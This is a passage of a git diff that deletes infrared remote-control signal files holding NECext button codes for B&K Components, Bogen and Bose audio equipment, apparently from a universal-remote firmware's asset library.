00 00 -command: 32 00 00 00 -# -name: BK005_NUMBER_3 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 33 00 00 00 -# -name: BK005_NUMBER_4 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 35 00 00 00 -# -name: BK005_NUMBER_5 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 36 00 00 00 -# -name: BK005_NUMBER_6 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 37 00 00 00 -# -name: BK005_NUMBER_7 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 39 00 00 00 -# -name: BK005_NUMBER_8 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 3A 00 00 00 -# -name: BK005_NUMBER_9 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 3B 00 00 00 -# -name: BK005_NUMBER_0 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 3E 00 00 00 -# -name: BK005_Z -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 3F 00 00 00 -# -name: BK005_SAVE -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 40 00 00 00 -# -name: BK005_SAT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 4A 00 00 00 -# -name: BK005_PRESET+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 4B 00 00 00 -# -name: BK005_PANORAMA+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 4E 00 00 00 -# -name: BK005_INFO -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 53 00 00 00 -# -name: BK005_BASS- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 65 00 00 00 -# -name: BK005_GAME -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 6A 00 00 00 -# -name: BK005_MOVIE -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 72 00 00 00 -# -name: BK005_AM -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 76 00 00 00 -# -name: BK005_TREBLE- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 79 00 00 00 -# -name: BK005_EXIT -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 7D 00 00 00 -# -name: BK005_DIMENSION+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 81 00 00 00 -# -name: BK005_CINEMA -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 8A 00 00 00 -# -name: BK005_FM -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 8E 00 00 00 -# -name: BK005_MONO -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 9A 00 00 00 -# -name: BK005_IMAGE+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: 9E 00 00 00 -# -name: BK005_NEO:6 -type: parsed -protocol: NECext -address: CB 43 00 00 -command: AA 00 00 00 -# -name: BK005_MUSIC -type: parsed -protocol: NECext -address: CB 43 00 00 -command: B2 00 00 00 -# -name: BK005_SLEEP -type: parsed -protocol: NECext -address: CB 43 00 00 -command: B3 00 00 00 -# -name: BK005_PRESET- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: C6 00 00 00 -# -name: BK005_SURROUND -type: parsed -protocol: NECext -address: CB 43 00 00 -command: CA 00 00 00 -# -name: BK005_PANORAMA- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: CE 00 00 00 -# -name: BK005_STEREO -type: parsed -protocol: NECext -address: CB 43 00 00 -command: E2 00 00 00 -# -name: BK005_BASS+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: E5 00 00 00 -# -name: BK005_PRO_LOGIC_IIX -type: parsed -protocol: NECext -address: CB 43 00 00 -command: EA 00 00 00 -# -name: BK005_IMAGE- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: EE 00 00 00 -# -name: BK005_TREBLE+ -type: parsed -protocol: NECext -address: CB 43 00 00 -command: F9 00 00 00 -# -name: BK005_DIMENSION- -type: parsed -protocol: NECext -address: CB 43 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir deleted file mode 100644 index 118da702e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir +++ /dev/null @@ -1,392 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK001_POWER_OFF -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 01 00 00 00 -# -name: BK001_POWER_ON -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 02 00 00 00 -# -name: BK001_MUTE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 03 00 00 00 -# -name: BK001_V1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 05 00 00 00 -# -name: BK001_TV -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 06 00 00 00 -# -name: BK001_V2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 09 00 00 00 -# -name: BK001_TAPE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0B 00 00 00 -# -name: BK001_DVD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0D 00 00 00 -# -name: BK001_CD -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 0F 00 00 00 -# -name: BK001_CENTER- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 15 00 00 00 -# -name: BK001_CENTER+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 16 00 00 00 -# -name: BK001_REAR- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 19 00 00 00 -# -name: BK001_REAR+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1A 00 00 00 -# -name: BK001_SUB- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1D 00 00 00 -# -name: BK001_SUB+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1E 00 00 00 -# -name: BK001_LEFT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 1F 00 00 00 -# -name: BK001_RIGHT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 20 00 00 00 -# -name: BK001_VOLUME- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 23 00 00 00 -# -name: BK001_VOLUME+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 24 00 00 00 -# -name: BK001_NUMBER_+10 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 29 00 00 00 -# -name: BK001_EQ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2A 00 00 00 -# -name: BK001_DVD-AUDIO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2B 00 00 00 -# -name: BK001_DOWN -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2D 00 00 00 -# -name: BK001_UP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2E 00 00 00 -# -name: BK001_MENU -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 2F 00 00 00 -# -name: BK001_ENTER/SELECT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 30 00 00 00 -# -name: BK001_NUMBER_1 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 31 00 00 00 -# -name: BK001_NUMBER_2 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 32 00 00 00 -# -name: BK001_NUMBER_3 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 33 00 00 00 -# -name: BK001_NUMBER_4 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 35 00 00 00 -# -name: BK001_NUMBER_5 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 36 00 00 00 -# -name: BK001_NUMBER_6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 37 00 00 00 -# -name: BK001_NUMBER_7 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 39 00 00 00 -# -name: BK001_NUMBER_8 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3A 00 00 00 -# -name: BK001_NUMBER_9 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3B 00 00 00 -# -name: BK001_NUMBER_0 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3E 00 00 00 -# -name: BK001_Z -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 3F 00 00 00 -# -name: BK001_SAVE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 40 00 00 00 -# -name: BK001_SAT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4A 00 00 00 -# -name: BK001_PRESET+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4B 00 00 00 -# -name: BK001_PANORAMA+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 4E 00 00 00 -# -name: BK001_INFO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 53 00 00 00 -# -name: BK001_BASS- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 65 00 00 00 -# -name: BK001_GAME -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 6A 00 00 00 -# -name: BK001_MOVIE -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 72 00 00 00 -# -name: BK001_AM -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 76 00 00 00 -# -name: BK001_TREBLE- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 79 00 00 00 -# -name: BK001_EXIT -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 7D 00 00 00 -# -name: BK001_DIMENSION+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 81 00 00 00 -# -name: BK001_CINEMA -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8A 00 00 00 -# -name: BK001_FM -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 8E 00 00 00 -# -name: BK001_MONO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 9A 00 00 00 -# -name: BK001_IMAGE+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: 9E 00 00 00 -# -name: BK001_NEO:6 -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: AA 00 00 00 -# -name: BK001_MUSIC -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B2 00 00 00 -# -name: BK001_SLEEP -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: B3 00 00 00 -# -name: BK001_PRESET- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: C6 00 00 00 -# -name: BK001_SURROUND -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: CA 00 00 00 -# -name: BK001_PANORAMA- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: CE 00 00 00 -# -name: BK001_STEREO -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E2 00 00 00 -# -name: BK001_BASS+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: E5 00 00 00 -# -name: BK001_PRO_LOGIC_IIX -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EA 00 00 00 -# -name: BK001_IMAGE- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: EE 00 00 00 -# -name: BK001_TREBLE+ -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: F9 00 00 00 -# -name: BK001_DIMENSION- -type: parsed -protocol: NECext -address: 1B 4E 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir deleted file mode 100644 index f1f5f6422..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK002_POWER_OFF -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 01 00 00 00 -# -name: BK002_POWER_ON -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 02 00 00 00 -# -name: BK002_MUTE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 03 00 00 00 -# -name: BK002_V1 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 05 00 00 00 -# -name: BK002_TV -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 06 00 00 00 -# -name: BK002_V2 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 09 00 00 00 -# -name: BK002_TAPE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0B 00 00 00 -# -name: BK002_DVD -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0D 00 00 00 -# -name: BK002_CD -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 0F 00 00 00 -# -name: BK002_TUNE- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1B 00 00 00 -# -name: BK002_TUNE+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1C 00 00 00 -# -name: BK002_BALANCE_LEFT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1F 00 00 00 -# -name: BK002_LEFT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 1F 00 00 00 -# -name: BK002_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 20 00 00 00 -# -name: BK002_RIGHT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 20 00 00 00 -# -name: BK002_NUMBER_+10 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 29 00 00 00 -# -name: BK002_DOWN -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2D 00 00 00 -# -name: BK002_UP -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 2E 00 00 00 -# -name: BK002_ENTER -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 30 00 00 00 -# -name: BK002_NUMBER_1 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 31 00 00 00 -# -name: BK002_NUMBER_2 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 32 00 00 00 -# -name: BK002_NUMBER_3 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 33 00 00 00 -# -name: BK002_NUMBER_4 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 35 00 00 00 -# -name: BK002_NUMBER_5 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 36 00 00 00 -# -name: BK002_NUMBER_6 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 37 00 00 00 -# -name: BK002_NUMBER_7 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 39 00 00 00 -# -name: BK002_NUMBER_8 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3A 00 00 00 -# -name: BK002_NUMBER_9 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3B 00 00 00 -# -name: BK002_NUMBER_0 -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3E 00 00 00 -# -name: BK002_Z -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 3F 00 00 00 -# -name: BK002_SAVE -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 40 00 00 00 -# -name: BK002_SAT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 4A 00 00 00 -# -name: BK002_PRESET+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 4B 00 00 00 -# -name: BK002_VOLUME+ -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 4B 00 00 00 -# -name: BK002_AM -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 76 00 00 00 -# -name: BK002_EXIT -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 7D 00 00 00 -# -name: BK002_FM -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 8E 00 00 00 -# -name: BK002_MONO -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: 9A 00 00 00 -# -name: BK002_SLEEP -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: B3 00 00 00 -# -name: BK002_PRESET- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: C6 00 00 00 -# -name: BK002_VOLUME- -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: C6 00 00 00 -# -name: BK002_STEREO -type: parsed -protocol: NECext -address: 0B 4F 00 00 -command: E2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir deleted file mode 100644 index 5acb3f70e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK006_POWER_OFF -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 01 00 00 00 -# -name: BK006_POWER_ON -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 02 00 00 00 -# -name: BK006_MUTE -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 03 00 00 00 -# -name: BK006_V1 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 05 00 00 00 -# -name: BK006_TV -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 06 00 00 00 -# -name: BK006_V2 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 09 00 00 00 -# -name: BK006_TAPE -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 0B 00 00 00 -# -name: BK006_DVD -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 0D 00 00 00 -# -name: BK006_CD -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 0F 00 00 00 -# -name: BK006_TUNE- -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 1B 00 00 00 -# -name: BK006_TUNE+ -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 1C 00 00 00 -# -name: BK006_BALANCE_LEFT -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 1F 00 00 00 -# -name: BK006_LEFT -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 1F 00 00 00 -# -name: BK006_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 20 00 00 00 -# -name: BK006_RIGHT -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 20 00 00 00 -# -name: BK006_VOLUME- -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 23 00 00 00 -# -name: BK006_VOLUME+ -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 24 00 00 00 -# -name: BK006_NUMBER_+10 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 29 00 00 00 -# -name: BK006_DOWN -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 2D 00 00 00 -# -name: BK006_UP -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 2E 00 00 00 -# -name: BK006_ENTER -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 30 00 00 00 -# -name: BK006_NUMBER_1 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 31 00 00 00 -# -name: BK006_NUMBER_2 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 32 00 00 00 -# -name: BK006_NUMBER_3 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 33 00 00 00 -# -name: BK006_NUMBER_4 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 35 00 00 00 -# -name: BK006_NUMBER_5 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 36 00 00 00 -# -name: BK006_NUMBER_6 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 37 00 00 00 -# -name: BK006_NUMBER_7 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 39 00 00 00 -# -name: BK006_NUMBER_8 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 3A 00 00 00 -# -name: BK006_NUMBER_9 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 3B 00 00 00 -# -name: BK006_NUMBER_0 -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 3E 00 00 00 -# -name: BK006_Z -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 3F 00 00 00 -# -name: BK006_SAVE -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 40 00 00 00 -# -name: BK006_SAT -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 4A 00 00 00 -# -name: BK006_PRESET+ -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 4B 00 00 00 -# -name: BK006_AM -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 76 00 00 00 -# -name: BK006_EXIT -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 7D 00 00 00 -# -name: BK006_FM -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 8E 00 00 00 -# -name: BK006_MONO -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: 9A 00 00 00 -# -name: BK006_SLEEP -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: B3 00 00 00 -# -name: BK006_PRESET- -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: C6 00 00 00 -# -name: BK006_STEREO -type: parsed -protocol: NECext -address: 2B 4D 00 00 -command: E2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir deleted file mode 100644 index fae2d2918..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK004_POWER_OFF -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 01 00 00 00 -# -name: BK004_POWER_ON -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 02 00 00 00 -# -name: BK004_MUTE -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 03 00 00 00 -# -name: BK004_V1 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 05 00 00 00 -# -name: BK004_TV -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 06 00 00 00 -# -name: BK004_V2 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 09 00 00 00 -# -name: BK004_TAPE -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 0B 00 00 00 -# -name: BK004_DVD -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 0D 00 00 00 -# -name: BK004_CD -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 0F 00 00 00 -# -name: BK004_TUNE- -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 1B 00 00 00 -# -name: BK004_TUNE+ -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 1C 00 00 00 -# -name: BK004_BALANCE_LEFT -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 1F 00 00 00 -# -name: BK004_LEFT -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 1F 00 00 00 -# -name: BK004_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 20 00 00 00 -# -name: BK004_RIGHT -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 20 00 00 00 -# -name: BK004_VOLUME- -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 23 00 00 00 -# -name: BK004_VOLUME+ -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 24 00 00 00 -# -name: BK004_NUMBER_+10 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 29 00 00 00 -# -name: BK004_DOWN -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 2D 00 00 00 -# -name: BK004_UP -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 2E 00 00 00 -# -name: BK004_ENTER -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 30 00 00 00 -# -name: BK004_NUMBER_1 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 31 00 00 00 -# -name: BK004_NUMBER_2 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 32 00 00 00 -# -name: BK004_NUMBER_3 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 33 00 00 00 -# -name: BK004_NUMBER_4 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 35 00 00 00 -# -name: BK004_NUMBER_5 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 36 00 00 00 -# -name: BK004_NUMBER_6 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 37 00 00 00 -# -name: BK004_NUMBER_7 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 39 00 00 00 -# -name: BK004_NUMBER_8 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 3A 00 00 00 -# -name: BK004_NUMBER_9 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 3B 00 00 00 -# -name: BK004_NUMBER_0 -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 3E 00 00 00 -# -name: BK004_Z -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 3F 00 00 00 -# -name: BK004_SAVE -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 40 00 00 00 -# -name: BK004_SAT -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 4A 00 00 00 -# -name: BK004_PRESET+ -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 4B 00 00 00 -# -name: BK004_AM -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 76 00 00 00 -# -name: BK004_EXIT -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 7D 00 00 00 -# -name: BK004_FM -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 8E 00 00 00 -# -name: BK004_MONO -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: 9A 00 00 00 -# -name: BK004_SLEEP -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: B3 00 00 00 -# -name: BK004_PRESET- -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: C6 00 00 00 -# -name: BK004_STEREO -type: parsed -protocol: NECext -address: 4B 4B 00 00 -command: E2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir deleted file mode 100644 index 4406f3efd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: MIC_A -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: MIC_B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: TREB -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: AUX_A -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: AUX_B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: AUX_C -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: BASS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: AMP_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: AMP_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: AMP_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: AUX_D -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: ENT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: VOL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/3-2-1/186,75.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/3-2-1/186,75.ir deleted file mode 100644 index bf3c59e57..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/3-2-1/186,75.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 01 00 00 00 -# -name: VOLYM_- -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 02 00 00 00 -# -name: VOLYM_+ -type: parsed -protocol: NECext -address: BA 4B 00 00 -command: 03 00 00 00 -# -name: INPUT_FM-AM -type: parsed -protocol: NECext -address: BA 